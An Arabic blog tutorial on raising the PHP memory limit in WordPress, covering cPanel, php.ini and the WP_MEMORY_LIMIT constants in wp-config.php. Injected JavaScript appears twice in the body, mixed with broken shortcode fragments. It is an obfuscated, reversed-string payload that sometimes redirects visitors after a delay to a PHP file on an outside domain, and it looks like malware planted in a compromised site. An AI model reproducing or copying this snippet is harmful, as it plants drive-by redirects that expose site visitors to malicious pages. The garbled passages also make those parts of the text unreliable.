محمد عكفي

رفع ذاكرة الـ PHP في ووردبريس

من الأسئلة التي تتردد إلى ذهنك هي ما معنى رفع ذاكرة الـ PHP في ووردبريس؟

سنفسر ذلك على شقين، أولهما أنّ لدينا نوعين من استخدامات الذاكرة ..

هنالك ما يسمى بذاكرة التخزين الواسع وهي مخصصة لرفع الصور والفيديوهات والملفات المختلفة ….

أمّا من نقصده في موضوعنا فهو ذاكرة الـ PHP المخصصة للعمليات الخاصة بمكوّنات اسكربت الووردبريس

مثل: عمليات تنشيط الإضافة، أو نشر مقالة، أو اعتماد قالب الخ…

وهذه العمليات تطلّب جهد مُعين من استخدام الذاكرة بغرض تنفيذ العملية بصورة صحيحة وسريعة في آنٍ واحد؛ ولكن من المشكلات الشائعة التي قد تواجه مُستخدمي ووردبريس هي كيفية تحرير حجم الذاكرة وزيادتها من أجل الحصول على أداء بمستوى عالي الجودة، وفي هذه التدوينة سنتعرّف على ذلك أولاً بكشف المشكلات وطرح الحلول المناسبة لها.

ومن أبرز المشكلات التي تواجه مستخدمي الورد بريس ظهور الرسالة التالية :

Fatal error: Allowed memory size of 12345678 bytes exhausted (tried to allocate 2345678 bytes) in /home/your-username/public_html/wp-includes/plugin.php on line 100

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top=”no” style=”dotted” divider_color=”#1f0c0c” size=”2″ margin=”10″]

الحلول


  1. زيادة مساحة الذاكرة عن طريق لوحة تحكم السي بانل
  2. إنْ كنت مخوّل بالدخول إلى لوحة تحكم السي بانل ولديك القدرة على التعديل فإنّه يتوجب عليك التوجيه إلى صفحة (PHP Configuration) يتوجب أن يكون لديك معرفة متوسطة في كيفية التحرير والتعديل على ذلك.

    ملاحظة : بعض الاستضافات تقدم خاصية تعديل ملف php.ini من خلال اعدادات الحساب الخاص بك عن طريق تحرير الملف يدويًا من خلال المستخدم ذاته.

     

    ) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}top=”no” divider_color=”#1f0c0c” size=”2″ margin=”10″]
  3. زيادة مساحة من خلال ملف wp-config.php

بإمكانك استخدام الدوال التي تقدمها ووردبريس من أجل تسهيل عملية زيادة مساحة الذاكرة بتوظيف الدالة

define('WP_MEMORY_LIMIT', 'NUMBER M');

ضمن ملف wp-config.php كما في الصورة التالية:

define('WP_MEMORY_LIMIT', 'NUMBER M');

حيث أنّ NUMBER تُعبر أن الحجم المطلوب:

مثال :


define('WP_MEMORY_LIMIT', '96M');

وكذلك من الدوال التي من الممكن استخدامها في زيادة قيمة الذاكرة الى الحد الأقصى هي الداله التالية:

define('WP_MAX_MEMORY_LIMIT', '550M');
ملاحظة مهمة: اذا كان مستضيفك لا يسمح بزيادة مساحة ذاكرة PHP فجميع الحلول السابقة قد لا
تعمل معك ..

Leave a Comment